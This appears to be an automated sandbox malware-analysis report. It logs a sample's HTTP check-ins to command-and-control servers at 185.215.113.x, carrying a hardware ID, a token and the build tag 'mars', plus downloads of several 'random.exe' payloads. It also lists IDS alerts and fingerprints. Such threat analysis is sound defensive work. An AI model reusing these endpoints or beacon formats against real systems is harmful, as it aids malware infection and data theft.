4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCGCGDHJEGHJKFHJJJKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005540001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005541001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="hwid"461E54867E713604296297------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="build"mars------FHDAEHDAKECGCAKFCFIJ--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 13:28:47 GMTIf-None-Match: "6732068f-1b5a00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 34 32 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005542031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005543001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="hwid"461E54867E713604296297------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="build"mars------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="hwid"461E54867E713604296297------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="build"mars------CBFBKFIDHIDGHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="hwid"461E54867E713604296297------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="build"mars------DAKFIDHDGIEGCAKFIIJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49753 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49761 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49824 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49847 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49862 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49929 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49951 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49962 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49985 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50030 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50045 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50055 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49974 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50008 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50064 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50067 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50069 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50070 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50075 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50077 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50063 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49762

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6FCC60 PR_Recv,

0_2_6C6FCC60

